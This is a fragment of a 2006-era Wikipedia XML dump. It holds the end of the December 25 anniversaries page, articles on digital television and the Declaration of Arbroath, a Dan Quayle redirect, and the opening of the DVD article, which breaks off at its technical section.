*[[1971]] - [[Justin Trudeau]], Son of former [[Canadian Prime Minister]], the Right Honourable [[Pierre Elliott Trudeau]]
*1971 - [[Noel Hogan]], Irish guitarist and songwriter [[The Cranberries]]
*[[1972]] - [[Josh Freese]], American drummer
*[[1973]] - [[Alexandre Trudeau|Alexandre (Sacha) Trudeau]] Son of former [[Prime Minister of Canada]], the Right Honourable [[Pierre Elliott Trudeau]]
*1973 - [[Robbie Elliott]], English footballer
*[[1975]] - [[Marcus Trescothick]], English cricketer
*[[1976]] - [[Tuomas Holopainen]], Finnish keyboardist and composer ([[Nightwish]])
*1976 - [[Armin van Buuren]], Dutch keyboardist
*[[1978]] - [[Joel Porter]], Australian footballer
*[[1979]] - [[Jim Greco]], American Professional Skateboarder
*[[1980]] - [[Marcus Trufant]], American football player, defensive back
*[[1980]] - [[Reika Hashimoto]], Japanese actress and model
*[[1981]] - [[Katie Wright]], American actress
*[[1982]] - [[Tapash Baisya]], Bangladeshi cricketer

==Deaths==
*[[795]] -  [[Pope Adrian I]]
*[[1635]] - [[Samuel de Champlain]], French explorer and founder of Quebec City (b. [[1567]])
*[[1676]] - [[Matthew Hale (jurist)|Matthew Hale]], Lord Chief Justice of England (b. [[1609]])
*1676 - [[William Cavendish, 1st Duke of Newcastle]], English soldier, politician, and writer (b. [[1592]])
*[[1683]] - [[Kara Mustafa]], Ottoman general (b. [[1634]])
*[[1758]] - [[James Hervey]], English clergyman and writer (b. [[1714]])
*[[1784]] - [[Yosa Buson]], Japanese poet and painter (b. [[1716]])
*[[1824]] - [[Barbara Juliana, Baroness von Krüdener]], Russian writer (b. [[1764]])
*[[1880]] - [[Fridolin Anderwert]], Swiss Federal Councilor (b. [[1828]])
*[[1921]] - [[Vladimir Korolenko]], Russian writer (b. [[1853]])
*[[1925]] - [[Karl Abraham]], German psychoanalyst (b. [[1877]])
*[[1926]] - [[Taisho Emperor]], Japanese emperor (b. [[1879]])
*[[1933]] - [[Francesc Macia|Francesc Macià]], President of Generalitat, Autonomous government of Catalonia (b. [[1859]])
*[[1938]] - [[Karel Capek]], Czech author (b. [[1890]])
*[[1940]] - [[Agnes Ayres]], American actress (b. [[1898]])
*[[1946]] - [[W. C. Fields]], American actor and comedian (b. [[1880]])
*[[1961]] - [[Otto Loewi]], German-born pharmacologist, recipient of the [[Nobel Prize in Physiology or Medicine]] (b. [[1873]])
*[[1963]] - [[Tristan Tzara]], Romanian-born writer (b. [[1896]])
*[[1973]] - [[Ismet Inonu]], Turkish statesman (b. [[1884]])
*[[1973]] - [[Gabriel Voisin]], French aviation pioneer (b. [[1880]])
*[[1977]] - [[Charlie Chaplin]], English actor (b. [[1889]])
*[[1979]] - [[Joan Blondell]], American actress (b. [[1906]])
*[[1983]] - [[Joan Miró]], Catalan painter (b. [[1893]])
*[[1989]] - [[Nicolae Ceauşescu]], Romanian dictator (executed) (b. [[1918]])
*[[1989]] - [[Billy Martin]], baseball player and manager (b. [[1928]])
*[[1993]] - [[Pierre Victor Auger]], French physicist (b. [[1899]])
*[[1994]] - [[Zail Singh]], [[President of India]] (b. [[1916]])
*[[1995]] - [[Dean Martin]], American singer and actor (b. [[1917]])
*[[1996]] - [[JonBenét Ramsey]], American beauty queen and murder victim (b. [[1990]])
*[[1998]] - [[John Pulman]], English snooker player (b. [[1926]])
*[[2000]] - [[Willard Van Orman Quine]], American philosopher (b. [[1908]])
*[[2003]] - [[Nicholas Mavroules]], Greek U.S. Congressman from Massachusetts (b. [[1929]])
*[[2005]] - [[Birgit Nilsson]], Swedish soprano (b. [[1918]])

==Holidays and observances==
* '''[[Christmas Day]]''' is a [[Christian]] holiday on this day celebrating the [[Nativity]] of [[Jesus]]. It is a public holiday in many countries including most [[Europe]]an nations, [[Canada]], the [[United States]], [[Mexico]], all [[Central American]] and [[South American]] countries, the [[Philippines]], some [[Africa]]n countries, the [[Commonwealth of Nations]], and various other countries. Many non-Christians, including non-theists, celebrate secular aspects of the holiday, such as decorating [[Christmas tree]]s and exchanging gifts with family and friends.
* '''[[Calendar of Saints|R.C. Saints]]''' - Nativity of the Lord (Christmas).
* '''[[Britain]]''' - a [[quarter day]] in [[England]], [[Wales]] and [[Ireland]] (but not in [[Scotland]])
* '''[[Roman festivals]]''' - (re)birth of [[Sol Invictus]], the winter [[solstice]] feast in the [[Roman Empire]] since [[274]] A.D.
* '''[[Pakistan]]''' - ''[[Quaid's Day]]'' is celebrated as a national holiday in [[Pakistan]] in honour of the birth of [[Mohammad Ali Jinnah]].

==External links==
*[http://news.bbc.co.uk/onthisday/hi/dates/stories/december/25 BBC: On This Day]
*[http://www.tnl.net/when/12/25 Today in History: December 25]
----

[[December 24]] - [[December 26]] - [[November 25]] - [[January 25]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:25 Desember]]
[[an:25 d'abiento]]
[[ar:25 ديسمبر]]
[[ast:25 d'avientu]]
[[be:25 сьнежня]]
[[bg:25 декември]]
[[ca:25 de desembre]]
[[co:25 di decembre]]
[[cs:25. prosinec]]
[[csb:25 gòdnika]]
[[cy:25 Rhagfyr]]
[[da:25. december]]
[[de:25. Dezember]]
[[el:25 Δεκεμβρίου]]
[[eo:25-a de decembro]]
[[es:25 de diciembre]]
[[et:25. detsember]]
[[eu:Abenduaren 25]]
[[fi:25. joulukuuta]]
[[fo:25. desember]]
[[fr:25 décembre]]
[[fy:25 desimber]]
[[ga:25 Nollaig]]
[[gl:25 de decembro]]
[[he:25 בדצמבר]]
[[hr:25. prosinca]]
[[hu:December 25]]
[[ia:25 de decembre]]
[[id:25 Desember]]
[[io:25 di decembro]]
[[is:25. desember]]
[[it:25 dicembre]]
[[ja:12月25日]]
[[jv:25 Desember]]
[[ka:25 დეკემბერი]]
[[ko:12월 25일]]
[[ku:25'ê berfanbarê]]
[[la:25 Decembris]]
[[lb:25. Dezember]]
[[lt:Gruodžio 25]]
[[mk:25 декември]]
[[nl:25 december]]
[[nn:25. desember]]
[[no:25. desember]]
[[oc:25 de decembre]]
[[pl:25 grudnia]]
[[pt:25 de Dezembro]]
[[ro:25 decembrie]]
[[ru:25 декабря]]
[[scn:25 di dicemmiru]]
[[se:Juovlamánu 25.]]
[[simple:December 25]]
[[sk:25. december]]
[[sl:25. december]]
[[sr:25. децембар]]
[[sv:25 december]]
[[th:25 ธันวาคม]]
[[tl:Disyembre 25]]
[[tr:25 Aralık]]
[[tt:25. Dekäber]]
[[uk:25 грудня]]
[[wa:25 di decimbe]]
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  <page>
    <title>Digital television</title>
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      <comment>Revert to revision 41269703 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">'''Digital television''' ('''DTV''') uses digital [[modulation]] and compression to broadcast video, audio and data signals to [[television]] sets.  

==Introduction==

DTV can be used to carry more channels in the same amount of bandwidth than analog TV (6&amp;nbsp;[[Megahertz|MHz]]) and to receive [[high-definition television|high-definition]] programming. The digital signal eliminates common analog broadcasting artifacts such as &quot;ghosting&quot;, &quot;snow&quot;, and static noises in audio.  However, when the signal is transmitted at a too low [[data rate]] DTV replaces these artifacts with new [[MPEG]] compression artifacts, such as &quot;blocking&quot;, and may fail to work entirely in situations where analog television would have produced an impaired but watchable picture. Depending on the sophistication and level of the error correction defined by the technical standard that the broadcaster complies with, DTV may either work perfectly or not work at all. 

The switch-over to a DTV signal often coincides with a change in picture format from an [[aspect ratio (image)|aspect ratio]] of 4:3 to one of 16:9. This enables TV to get closer to the aspect ratio of [[film|movie]]s and human vision. On traditional screens this leads to &quot;[[letterbox]]&quot; black bars above and below the picture due to placing the 16:9 picture in a 4:3 frame. The previous aspect ratio of 4:3 was chosen to match the [[Academy of Motion Picture Arts and Sciences|Academy of Motion Picture Arts and Sciences]] standard ratio of the day.

== Market ==

=== Terrestrial ===

[[Digital terrestrial television]] (DTT) is in the process of deployment in a number of countries.
* Governments see DTT as a &quot;futuristic&quot; technology that will push their country to the forefront of the &quot;[[digital revolution]]&quot; and free up existing TV frequencies for resale, for example to communications operators.
* Broadcasters see DTT as a way to fight competition from satellite and cable DTV and other digital program distribution technologies, such as [[PVR|personal digital video recorder]]s (PVR) and [[video on demand]] (VoD).  They also see in DTV an opportunity to more tightly control the way in which a viewer interacts with and stores content.  Tagged DTV content may, for instance, instruct a recording device to destroy a recording after a certain amount of time, without user interaction.  See [[Broadcast Flag]].
* Hardware manufacturers see DTT as a way to sell [[set-top box]]es first and new all-in-one [[TV set]]s later.
* Consumers see DTT as a way to obtain more programs from their existing [[TV antenna]] at the cost of a set-top box or new television.
In some countries, DTT is seen as a technology that is being pushed on a public that does not exhibit much demand for it. 
This is particularly so in countries where high-definition programs are broadcast terrestrially, since [[HDTV]] sets are at the moment prohibitively expensive, and very little HDTV content exists apart from movies.

=== Satellite ===

DTV has been shown to be commercially viable in the satellite television market, where it is used to multiplex large numbers of channels onto the available bandwidth.  The business model for satellite DTV in the [[United States|U.S.]] and the [[United Kingdom|UK]] is similar to that for [[cable TV]]. Satellite DTV operators tend to act as packagers for large numbers of channels, including pay-TV. The greater [[RF]] bandwidth available to satellite operators allows them to out-compete terrestrial DTV operators on both number of channels and picture quality.

=== Cable ===

Where an original analog cable set-top box is already required this has to be replaced to receive digital cable. From a user's point of view the main advantage appears to be simply better picture quality and more channel availability, however (depending on the choices operators make regarding set-top box hardware and middleware software) many other features become possible with the transfer away from analog. Often a TV guide (seven-day schedules) with extended information can be viewed, reminders to watch programs can be set and advanced parental censorship on channel content can be exercised. Operators also enjoy better CA (conditional access) on digitally transmitted streams as they can be sent &quot;encrypted&quot; with schemes such as DES encryption to help prevent unauthorized access and protect revenues. 

Operators wishing to increase the carrying capacity of their original networks have to replace all analog set-top boxes with digital replacements before turning off the analog feeds; this is not a trivial or low-cost solution as literally millions of set-top boxes require replacement.

Some of the more advanced cable networks even have the use of a return path (a two-way data communications path to allow DTV set-top boxes to return information back to the operators head-end). This allows them to extend services offered to include interactive web style content viewing, gaming, voting and other &quot;on-demand&quot; services such as control of video on-demand films.

=== IPTV ===
''Main article:'' [[IPTV]]

Internet technologies are finally starting to be adapted for use with DTV deployments, meaning a single broadband Internet connection will eventually service one's home providing one with Triple Play (voice over IP, Internet access, and digital television). 

IPTV is a big step forward when combined with the latest advancements in picture quality such as high-definition (HDTV) and new AVC (Advanced Video Compression) standards such as MPEG4 H.264 or WM9 (very efficient emerging picture compression standards). 

Not only are set-top boxes becoming smarter (they are essentially cut down PC's in their own right) they will interact with other devices such as PDA's, mobile phones, and the Internet to provide a truly flexible solution allowing local information to be tailored to specific regions (e.g. weather and news from your local area).

=== Analog switch-off ===

In general, viewers who are happy with their existing analog TV systems tend not to adopt terrestrial DTV systems (so-called &quot;digital refuseniks&quot;). 

There is also a significant number of [[DVB]] or [[free-to-air]] satellite viewers who retain analog terrestrial capability solely for news, sport, or other purely local broadcasts. The cost of a second digital set-top box for each TV just for a few local channels may be difficult to justify if these households already watch digital signals on most channels and have capital tied up in DVB-S or proprietary dish hardware.

In the subscription-TV market, many who want cable-TV-like services buy either cable TV (where available) or satellite DTV.

As such, those most able to afford terrestrial DTV equipment are the ones abandoning &quot;over-the-air&quot; reception for satellite or other signal sources that provide a wider selection of programming.

Governments are responding to this with an attempt to force the issue by enforcing planned &quot;switch-off&quot; dates for analog television, but are encountering resistance from the public, as they fear that this will mean that they will need to replace every television they own, including portable TVs and bedroom TVs, or buy additional digital receivers (a set-top box).

In the United States, many broadcasters have requested repeated extensions of the original [[2002]] deadline for ATSC availability or transmit ATSC only at significantly lower power than their main signal. The capital cost to build even an underpowered digital transmitter becomes particularly onerous for small-market stations (''see [[KXGN]]'').  A bill signed into law on February 8, 2006, set the date by which this transition would be completed as [[February 17]], [[2009]]. See [[List of digital television deployments by country]].

== Technical ==

=== Formats ===

All digital TV variants can carry both [[standard-definition television]] (SDTV) and high-definition television (HDTV).  

All early SDTV television standards were analog in nature, and SDTV digital television systems derive much of their structure from the need to be compatible with [[analog television]]. In particular, the [[interlace|interlaced scan]] is a legacy of analog television.

Attempts were made during the development of digital television to prevent a repeat of the fragmentation of the global market into different standards (that is, [[PAL]], [[SÉCAM]], [[NTSC]]). However, once again the world could not agree on a single standard, and hence there are two major standards in existence: the [[Europe]]an [[DVB]] system and the [[United States|U.S.]] [[ATSC]] system, plus the [[Japan]]ese system [[ISDB]].
Note: For cable, in addition to ATSC standards, the [[SCTE]] standard is used to describe Cable out-of-band metadata.

Most countries in the world have adopted DVB, but several have followed the U.S. in adopting ATSC instead ([[Canada]], [[Mexico]], [[South Korea]]). Korea has adopted S-DMB for satellite mobile broadcasting.

There could be other specialized high-resolution digital video formats in the future for markets other than home entertainment. [[Ultra High Definition Video]] (UHDV) is a format proposed by [[NHK]] of [[Japan]] that provides a resolution 16 times greater than HDTV.

=== Bandwidth ===

In current practice, HDTV uses 1280 × 720 [[pixel]]s in [[progressive scan]] mode (abbreviated ''720p'') or 1920 × 1080 pixels in [[interlace]] mode (''1080i'').  SDTV has less resolution (640 x 480 or 704 × 480 pixels with NTSC, 768 × 576 or 1024 × 576 with [[PAL]] in [[4:3]] and [[16:9]] [[aspect ratio]]s respectively), but allows the bandwidth of a DTV channel (or &quot;multiplex&quot;) to be subdivided into multiple sub-channels. The TV stations can use subchannels to carry multiple broadcasts of video, audio, or any other data, and can distribute their so-called &quot;[[bit budget]]&quot; as necessary, such as dropping one sub-channel down to a lower resolution in order to make another one available to show a wide-screen movie. Often, this is done automatically, using a [[statistical multiplexer]] (or &quot;stat-mux&quot;).

Multiplexes can even reduce their overall bit budget and digital [[bandwidth]], in order to reduce the transmission [[bitrate]] and make reception easier for more distant or mobile viewers.

=== Reception ===
Today most viewers receive digital television via a set-top box, which [[decoder|decodes]] the digital signals into signals that analog televisions can understand, but a slowly growing number of TV sets with integrated receivers are already available. Access to channels can be controlled by a removable [[smart card]], for example via the [[Common Interface]] (DVB-CI) standard for Europe and via [[Point Of Deployment]] (POD) for IS or named differently [[CableCard]]. Some signals carry [[encryption]] and specify use conditions (such as &quot;may not be recorded&quot; or &quot;may not be viewed on displays larger than 1m in diagonal measure&quot;) backed up with the force of law under the [[WIPO Copyright Treaty]] and national [[legislation]] implementing it, such as the U.S. [[Digital Millennium Copyright Act]].

=== Protection parameters for terrestrial DTV broadcasting ===
{| class=&quot;wikitable&quot;
|- 
| System Parameters&lt;br&gt;&lt;small&gt;(protection ratios)&lt;/small&gt;
| Canada [13]
| USA [5]
| EBU [9, 12]&lt;br&gt;&lt;small&gt;ITU-mode M3&lt;/small&gt;
| Japan [36, 37] &lt;sup id=&quot;fn_2_back&quot;&gt;[[#fn_2|2]]&lt;/sup&gt;
|-
| C/N for AWGN Channel
| +19.5 dB&lt;br&gt;(16.5 dB&lt;sup id=&quot;fn_1_back&quot;&gt;[[#fn_1|1]]&lt;/sup&gt; )
| +15.19 dB
| +19.3 dB
| +19.2 dB 
|-
| Co-Channel DTV into Analog TV
| +33.8 dB
| +34.44 dB
| +34 ~ 37 dB
| +38 dB
|-
| Co-Channel Analog TV into DTV
| +7.2 dB
| +1.81 dB
| +4 dB
| +4 dB
|-
| Co-Channel DTV into DTV
| +19.5 dB&lt;br&gt;(16.5 dB&lt;sup id=&quot;fn_1_back&quot;&gt;[[#fn_1|1]]&lt;/sup&gt; )
| +15.27 dB
| +19 dB
| +19 dB
|-
| Lower Adjacent Channel DTV into Analog TV
| -16 dB
| -17.43 dB
| -5 ~ -11 dB&lt;sup id=&quot;fn_3_back&quot;&gt;[[#fn_3|3]]&lt;/sup&gt;
| -6 dB
|-
| Upper Adjacent Channel DTV into Analog TV
| -12 dB
| -11.95 dB
| -1 ~ -10&lt;sup id=&quot;fn_3_back&quot;&gt;[[#fn_3|3]]&lt;/sup&gt;
| -5 dB
|-
| Lower Adjacent Channel Analog TV into DTV
| -48 dB
| -47.33 dB
| -34 ~ -37 dB&lt;sup id=&quot;fn_3_back&quot;&gt;[[#fn_3|3]]&lt;/sup&gt;
| -35 dB
|-
| Upper Adjacent Channel Analog TV into DTV
| -49 dB
| -48.71 dB
| -38 ~ -36 dB&lt;sup id=&quot;fn_3_back&quot;&gt;[[#fn_3|3]]&lt;/sup&gt;
| -37 dB
|-
| Lower Adjacent Channel DTV into DTV
| -27 dB
| -28 dB
| -30 dB
| -28 dB
|-
| Upper Adjacent Channel DTV into DTV
| -27 dB
| -26 dB
| -30 dB
| -29 dB
|}
&lt;cite id=&quot;fn_1&quot;&gt;[[#fn_1_back|Note 1:]] &lt;/cite&gt; The Canadian parameter, C/(N+I) of noise plus co-channel DTV interface should be 16.5 dB.&lt;br&gt;
&lt;cite id=&quot;fn_2&quot;&gt;[[#fn_2_back|Note 2:]] &lt;/cite&gt; ISDB-T (6MHz, 64QAM, R=2/3), Analog TV (M/NTSC).&lt;br&gt;
&lt;cite id=&quot;fn_3&quot;&gt;[[#fn_3_back|Note 3:]] &lt;/cite&gt; Depending on analog TV systems used.

=== Interaction ===

Digital teletext is an enhanced [[teletext]] service based on [[XHTML]] and [[Cascading Style Sheets|CSS]]. Many countries, including [[Finland]], use [[Multimedia Home Platform]] DVB-MHP for digital teletext. An alternative is the [[MHEG-5]] platform used terrestrially in the UK. Digital teletext is supposed to provide interactive services, but for this a separate &quot;return path&quot;, such as a [[telephone]] line or [[Internet]] connection, is required.

In U.S. only, [[closed captioning]] is a subtitle service for hearing impaired people. Several languages are broadcast.

[[Integrated Services Digital Broadcasting|ISDB]] has adopted [[ARIB]] STD-B24 for interactive services. ISDB has labeled interactive services as [[data broadcasting]]. ARIB STD-B24 system is based on [[BML]]. [[BML]] is modified [[XML]] language for data broadcasting.
ISDB has been providing [[Electronic Program Guide|EPG]], [[news]], [[weather forecast]], traffic information, stock market conditions, educational program, interactive [[game]] program, TV shopping via the Internet, etc.

== Deployment ==
*[[List of digital television deployments by country]]

== See also ==
*[[Broadcast television system]]s
*[[Interactive television]]
*[[LinuxTV]]
*[[List of digital television terms]]
*[[Multimedia Home Platform]] ([[MHP]]) and [[Zapper]]
*[[Set-top box]] ([[STB]])
*[[SoC|system-on-chip]] (SoC)
*[[High-definition television]]
*[[ATSC]], [[DVB]], [[ISDB]], [[SBTVD]]
*[[ATSC tuner]]
*[[Gigaset]]

[[Category:Digital television| Digital television]]
[[Category:History of television]]

[[de:Digitales Fernsehen]]
[[es:Televisión digital]]
[[fr:Télévision numérique terrestre]]
[[ko:디지털 텔레비전]]
[[id:Televisi digital]]
[[nl:Digitale televisie]]
[[ja:デジタルテレビ]]
[[pl:Telewizja cyfrowa]]
[[pt:Televisão digital]]
[[sv:Digital television]]
[[fi:Digitaalitelevisio]]
[[zh:数字电视]]</text>
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  <page>
    <title>Danforth Quayle</title>
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        <username>Minesweeper</username>
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      <text xml:space="preserve">#REDIRECT [[Dan Quayle]]</text>
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    <title>James Danforth Quayle</title>
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      <comment>moved to &quot;Dan_Quayle&quot;</comment>
      <text xml:space="preserve">#REDIRECT [[Dan_Quayle]]
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  </page>
  <page>
    <title>Declaration of Arbroath</title>
    <id>8274</id>
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      <id>41026725</id>
      <timestamp>2006-02-24T16:01:21Z</timestamp>
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        <username>Markalexander100</username>
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      <minor />
      <comment>/* Overview */</comment>
      <text xml:space="preserve">The '''Declaration of Arbroath''' was a declaration of [[Scottish independence]], and set out to confirm [[Scotland]]'s status as an [[Independence|independent]], [[Sovereignty|sovereign]] [[state]] and its use of military action when unjustly attacked. It is in the form of a letter submitted to [[Pope John XXII]], dated [[6 April]] [[1320]]. Sealed by fifty-one [[magnate]]s and [[nobles]], the letter is the sole survivor of three created at the time. The others were a letter from the [[King of Scots]] and a letter from the [[clergy]] which all presumably made similar points.

==Overview==

The Declaration made a number of much-debated [[rhetoric]]al points: that Scotland had always been independent, indeed for longer than [[England]]; that [[Edward I of England]] had unjustly attacked Scotland and perpetrated atrocities; that [[Robert I of Scotland]] had delivered the Scottish [[nation]] from this peril; and, most controversially, that the independence of Scotland was the prerogative of the Scots people, rather than the King of Scots.  In fact it stated that the nobility would choose someone else to be king if the current one did anything to threaten Scotland's independence. 

While often interpreted as an early expression of 'popular sovereignty' &amp;ndash; that kings could be chosen by the population rather than by [[God]] alone &amp;ndash; it can also be argued to have been a means of passing the responsibility for disobeying [[Papacy|papal]] commands from the king to the people. In other words, Robert I was arguing that he was forced to fight an illegal war (as far as the [[pope]] was concerned) or face being deposed.

Written in [[Latin]], it is believed to have been drafted by [[Bernard de Linton| Bernard]], [[abbot]] of [[Arbroath Abbey]] (often identified as Bernard de Linton, although his surname is unknown), who was the [[Chancellor of Scotland]] at the time.  While dated to [[6 April]] [[1320]] at [[Arbroath Abbey]], there was in fact no meeting of nobles there by whom the document was drafted. Instead the document may have been discussed at a council meeting at [[Newbattle Abbey]], [[Midlothian]], in March 1320 (although firm evidence for such a debate is lacking). Arbroath was simply the location of the [[royal chancery]] (in other words Abbot Bernard's writing office), and the date provides evidence only for his part in proceedings. 

The seals of eight [[earl]]s and as many as forty-one other Scottish nobles were appended to the document, probably over the space of some weeks and months, with nobles sending in their seals to be used, perhaps under some duress. It has been argued that this resentment played a role in the [[Soules Conspiracy]] to overthrow Robert I later in 1320. The Declaration was then taken to the [[papal court]] at [[Avignon Papacy|Avignon]].

The Pope seems to have paid some heed to the arguments contained by the Declaration, although its contemporary influence should not be overstated. It was in part due to his intervention that a short-lived [[peace treaty]] between Scotland and [[Kingdom of England|England]], the [[Treaty of Northampton]], renouncing all English claims to Scotland, was finally signed by the [[English king]], [[Edward III of England|Edward III]], on the [[1 March]] [[1328]].

The original copy of the Declaration that was sent to Avignon is lost.  However a file copy has been maintained by the [[National Archives of Scotland]] in [[Edinburgh]]. The most widely known [[English language]] translation was created by [[Sir James Fergusson]], formerly [[Keeper of the Records of Scotland]], from text that he reconstructed using this extant copy and early copies of the original draft. One passage in particular is often quoted from the Fergusson translation:

:''...for, as long as but a hundred of us remain alive, never will we on any conditions be brought under English rule. It is in truth not for glory, nor riches, nor honours that we are fighting, but for freedom &amp;ndash; for that alone, which no honest man gives up but with life itself.''

==Influence==

The stirring rhetoric of the Declaration has made it famous both in Scotland, and internationally, and it is argued that it had some influence on the drafters of the [[Declaration of Independence (United States)|United States Declaration of Independence]]. Debate still rages about the contemporary relevance of the document &amp;ndash; whether it represented the genuine thoughts of the nobility regarding independence, sovereignty and the proto-[[democratic]] right of the people to choose a king, or whether it was above all a piece of royal [[propaganda]] and special pleading, drafted strictly under the control of the chief royal minister, Abbot Bernard. However it is not disputed that the document subsequently played an influential role in the history of [[Scottish national identity]] and the creation of the common belief (whether based in legal reality or not) that in Scotland it is the 'people' that are sovereign, rather than the monarch or parliament, as in England.

Some have used the Declaration's references to the exodus of the &quot;people of Israel&quot; to support a Scottish version of [[British Israelism]].  However the Declaration does not explicitly claim descent from the &quot;people of Israel&quot; - the reference could be (and, on the face of it, without further evidence, probably is) making a comparison between, on the one hand, the Scots making an exodus across a sea from the barbarism of Spain, and entering their own &quot;promised land&quot; of Scotland; and on the other hand, the Biblical exodus of the Israelites from Egypt across a sea into the promised land of Israel.  Such a comparison could be based equally well on the Scots' seeing themselves as a Christian nation and therefore chosen of God, as on the supposition, which may or may not have other evidence, that Scots actually believed they were literally descended from the Israelites.

==See also==
*[[Declaration of Independence]]
*[[Tartan Day]]
*[[Claim of Right for Scotland]]

==External links==
{{wikisource}}
*[http://www.nas.gov.uk National Archives of Scotland (NAS)]
*[http://www.scottisharchivesforschools.org/ffa/arbroath.asp Declaration of Arbroath Scottish Archives for Schools (run by the NAS)]
*[http://www.geo.ed.ac.uk/home/scotland/arbroath_latin.html Latin Original Text at University of Edinburgh]
*[http://www.clanstirling.org/Main/lib/research/TheDeclarationofArbroath.html Fergusson translation at Clan Stirling Online]

[[Category:International law]]
[[Category:National liberation movements]]
[[Category:History of Scotland]]

[[af:Verklaring van Arbroath]]
[[de:Declaration of Arbroath]]
[[no:Arbroath-deklarasjonen av 1320]]
[[ru:Арбротская декларация]]</text>
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  <page>
    <title>DVD</title>
    <id>8275</id>
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      <id>42141972</id>
      <timestamp>2006-03-04T02:27:41Z</timestamp>
      <contributor>
        <username>Nlu</username>
        <id>350890</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/24.97.185.243|24.97.185.243]] ([[User talk:24.97.185.243|talk]]) to last version by 201.58.163.73</comment>
      <text xml:space="preserve">{{merge-from|Dual layer recording}}
[[Image:DVD.svg|right|250px|The official DVD logo.]]
[[Image:DVD-R bottom-side.jpg|right|thumb|250px|DVD-R writing/reading side]]
[[Image:DVD 2394729743289.png|right|thumb|250px|DVD-R with purple dye, 4.7 GB]]

'''DVD''' (sometimes known as &quot;'''Digital Versatile Disc'''&quot; or &quot;'''Digital Video Disc'''&quot;) &lt;!-- **NOTE: Please do not edit the parenthetical explanation. DVD is not officially an acronym. See Talk. --&gt; is an [[optical disc]] [[computer storage|storage]] media format that can be used for data storage, including movies with high video and sound quality. DVDs resemble [[compact disc]]s as their physical dimensions are the same (12 cm (4.72 inches) or occasionally 8 cm (3.15 inches) in diameter) but they are encoded in a different format and at a much higher density. The official DVD specification is maintained by the [[DVD Forum]].

==History==
In the early [[1990s]] two high density optical storage standards were being developed: one was the MultiMedia Compact Disc (MMCD), backed by [[Philips]] and [[Sony]], and the other was the Super Density Disc (SD), supported by [[Toshiba]], [[Time-Warner]], [[Matsushita Electric]], [[Hitachi, Ltd.|Hitachi]], [[Mitsubishi Electric]], [[Pioneer Corporation|Pioneer]], [[Thomson_SA|Thomson]], and [[JVC]]. [[IBM]]'s president, [[Lou Gerstner]], acting as a matchmaker, led an effort to unite the two camps behind a single standard, anticipating a repeat of the costly [[Videotape format war|format war]] between [[VHS]] and [[Betamax]] in the [[1980s]]. 

Philips and Sony abandoed their MMCD format and agreed upon Toshiba's SD format with two modifications that are both related to the servo tracking technology. The first one was the adoption of a pit geometry that allows &quot;push-pull&quot; tracking, a proprietary Philips/Sony technology. The second modification was the adoption of Philips' [[Eight-to-Fourteen Modulation|EFMPlus]]. EFMPlus, created by [[Kees A. Schouhamer Immink|Kees Immink]], who also designed [[Eight-to-Fourteen Modulation|EFM]], is 6% less efficient than Toshiba's SD code, which resulted in a capacity of 4.7GB instead of SD's original 5GB. The great advantage of EFMPlus is its great resilience against disc damage such as scratches and fingerprints. The result was the DVD specification Version 1.5, announced in [[1995]] and finalized in September [[1996]]. In May 1997, the DVD Consortium was replaced by the DVD Forum , which is open to all companies.

The first DVD players and discs were available in November [[1996]] in [[Japan]], March [[1997]] in the [[United States]], [[1998]] in [[Europe]] and in [[1999]] in [[Australia]].  The first pressed DVD was the movie ''[[Twister (film)|Twister]]'' in 1996.  The movie had the first test for 2.1 surround sound. The first titles released in the U.S., on March 19, 1997, by Lumivision, authored by AIX Entertainment, were [[IMAX]] adaptations: ''Africa: The Serengeti'', ''Antarctica: An Adventure of a Different Nature'', ''Tropical Rainforest'', and ''Animation Greats''.

By the spring of 1999 the price of a DVD player had dropped below $300 US.  At that point [[Wal-Mart]] began to offer DVD players for sale, but DVDs represented only a small part of their video inventory; VHS tapes of movies made up the remainder.  

As of 2006 the situation is reversed; DVDs make up the bulk and VHS is a slim minority. The price of a DVD player has dropped to below the level of a typical [[VCR]] (although DVD recorders are still significantly more expensive than VCRs); a low-end player with reasonable quality can be purchased for under $35 US in many retail stores and many modern computers are sold with [[DVD-ROM]] drives. Most, but not all, movie &quot;sets&quot; or series have been released in [[box set]]s, as have some entire seasons or selected episode volumes of older and newer [[television program]]s. 

DVD rentals first topped those of VHS during the week of [[June 15]], [[2003]] (27.7 M rentals DVD vs. 27.3 M rentals VHS). Major U.S. retailers [[Circuit City]] and [[Best Buy]] stopped selling VHS tapes in 2002 and 2003, respectively. In June 2005, Wal-Mart and several other retailers announced plans to phase out the VHS format entirely, in favor of the more popular DVD format. However, blank VHS tapes are still widely available since DVD video recorders are significantly less common than DVD players.  Many films released to theaters from [[2004]] onwards are released solely to DVD format and not to VHS format.  Consumers have predicted that [[2006]] would be the final year for new releases on VHS.

According to the Digital Entertainment Group (DEG), all DVD sales and rentals (films, television series, special interests, etc) totaled $21.2 billion in 2004. The sales portion of that was $15.5 billion. In comparison, the total 2004 US box office for theatrical rentals was $9.53 billion (per the National Association of Theater Owners or NATO). While the growth of theatrical films on DVD has cooled recently, that of television programs and music video has increased dramatically.

In 2000, Sony released its [[PlayStation 2]] console in Japan. In addition to playing [[Computer and video games|video games]] developed for the system it was also able to play DVD movies. This proved to be a huge selling point because the PS2 cost about the same as standard DVD players but could do much more. As a result, many electronic stores that normally did not carry video game consoles carried PS2s. In keeping with this tradition, Sony has announced that it will implement one of DVD's possible successors, [[Blu-ray Disc|Blu-ray]], into its next PlayStation console currently known as the [[PlayStation 3]].

[[Microsoft]]'s [[Xbox]], released a year after the PlayStation 2, also had the capability to play DVD discs with an add-on remote control kit, cementing the DVD's place in [[video game consoles]]. [[Nintendo]]'s [[Nintendo GameCube|GameCube]] ordinarily cannot play DVDs but uses a modified DVD for its game media. However, one GameCube model known as the Panasonic Q (sold only in Japan) allowed for DVD playback in the GameCube. Later, when the Xboxs follow-up, the [[Xbox 360]] was released, it played dvd's without the addon.

&quot;DVD&quot; was originally an [[Acronym and initialism|initialism]] for &quot;'''Digital Video Disc'''.&quot;  Some members of the DVD Forum believe that it should stand for &quot;'''Digital Versatile Disc'''&quot; to reflect its widespread use for non-video applications. Toshiba, which maintains the official DVD Forum site [http://www.dvdforum.org/faq-dvdprimer.htm#1], adheres to the latter interpretation, and indeed this appeared within the copyright warnings on some of the earliest examples. However, the DVD Forum never reached a consensus on the matter, and so today the official name of the format is simply &quot;DVD&quot;; the letters do not officially stand for anything.[http://www.dvddemystified.com/dvdfaq.html]

== Technical information ==
